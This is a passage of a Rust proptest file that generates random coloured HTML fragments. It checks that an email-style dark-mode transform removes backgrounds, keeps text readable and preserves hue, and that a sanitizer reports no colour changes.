any::<(u8, u8, u8)>().prop_map(|(r, g, b)| format!("#{:x}{:x}{:x}", r >> 4, g >> 4, b >> 4)),
|
|
(0u16..360, 0u8..=100, 0u8..=100).prop_map(|(h, s, l)| format!("hsl({h}, {s}%, {l}%)")),
|
|
prop::sample::select(vec![
|
|
"red",
|
|
"navy",
|
|
"maroon",
|
|
"teal",
|
|
"olive",
|
|
"purple",
|
|
"orange",
|
|
"black",
|
|
"white",
|
|
"silver",
|
|
"gold",
|
|
"transparent",
|
|
"inherit",
|
|
"blah",
|
|
])
|
|
.prop_map(String::from),
|
|
]
|
|
}
|
|
|
|
fn coloured_fragment() -> impl Strategy<Value = String> {
|
|
let property = prop::sample::select(vec![
|
|
"color",
|
|
"background",
|
|
"background-color",
|
|
"border",
|
|
"border-color",
|
|
"border-top",
|
|
"border-left-color",
|
|
"text-decoration",
|
|
]);
|
|
let tag = prop::sample::select(vec!["p", "span", "div", "td", "font", "a href=\"https://x.example\"", "b", "mark"]);
|
|
prop_oneof![
|
|
(tag, proptest::collection::vec((property, colour_value(), any::<bool>()), 1..5)).prop_map(|(tag, decls)| {
|
|
let style: Vec<String> = decls
|
|
.into_iter()
|
|
.map(|(p, v, imp)| {
|
|
let imp = if imp { " !important" } else { "" };
|
|
match p {
|
|
"border" | "border-top" => format!("{p}: 1px solid {v}{imp}"),
|
|
"text-decoration" => format!("{p}: underline {v}"),
|
|
_ => format!("{p}: {v}{imp}"),
|
|
}
|
|
})
|
|
.collect();
|
|
let name = tag.split(' ').next().unwrap_or("p");
|
|
format!("<{tag} style=\"{}\">x</{name}>", style.join("; "))
|
|
}),
|
|
colour_value().prop_map(|v| format!("<font color=\"{v}\">f</font>")),
|
|
colour_value().prop_map(|v| format!("<table bgcolor=\"{v}\"><tr><td bgcolor=\"{v}\">t</td></tr></table>")),
|
|
fragment(),
|
|
]
|
|
}
|
|
|
|
proptest! {
|
|
#![proptest_config(ProptestConfig::with_cases(2000))]
|
|
|
|
#[test]
|
|
fn no_background_survives_dark_and_every_colour_is_readable(parts in proptest::collection::vec(coloured_fragment(), 0..12)) {
|
|
let input = parts.concat();
|
|
let out = dark(&input).html;
|
|
prop_assert_eq!(dark_violation(&out), None, "input {:?} output {:?}", input, out);
|
|
prop_assert_eq!(dangerous(&out), None, "input {:?} output {:?}", input, out);
|
|
prop_assert!(!has_event_handler(&out));
|
|
}
|
|
|
|
#[test]
|
|
fn a_lightened_colour_keeps_its_hue(r in any::<u8>(), g in any::<u8>(), b in any::<u8>()) {
|
|
let from = Rgb { r, g, b };
|
|
let out = dark(&format!("<p style=\"color: {from}\">x</p>"));
|
|
let html = decoded(&out.html);
|
|
match first_colour(&html) {
|
|
None => {
|
|
prop_assert!(is_grey(from), "{} removed but not grey", from);
|
|
prop_assert!(!out.colours_changed);
|
|
}
|
|
Some(v) => {
|
|
let to = parse_colour(&v).unwrap();
|
|
prop_assert!(!is_grey(from));
|
|
prop_assert!(contrast(to, PALETTE.body) >= MIN_CONTRAST, "{} -> {}", from, to);
|
|
prop_assert_eq!(out.colours_changed, to != from);
|
|
// Lightened: no channel darker, and the order of the channels kept (the hue).
|
|
prop_assert!(to.r >= from.r.saturating_sub(1) && to.g >= from.g.saturating_sub(1) && to.b >= from.b.saturating_sub(1), "{} -> {}", from, to);
|
|
let order = |c: Rgb| { let mut v = [(c.r, 0), (c.g, 1), (c.b, 2)]; v.sort(); [v[0].1, v[1].1, v[2].1] };
|
|
let distinct = |c: Rgb| c.r.abs_diff(c.g) > 6 && c.g.abs_diff(c.b) > 6 && c.r.abs_diff(c.b) > 6;
|
|
if distinct(from) && distinct(to) {
|
|
prop_assert_eq!(order(from), order(to), "{} -> {}", from, to);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
#[test]
|
|
fn original_never_reports_a_change(parts in proptest::collection::vec(coloured_fragment(), 0..8)) {
|
|
let out = sanitize(&parts.concat(), &SanitizeOptions::default());
|
|
prop_assert!(!out.colours_changed);
|
|
}
|
|
}
|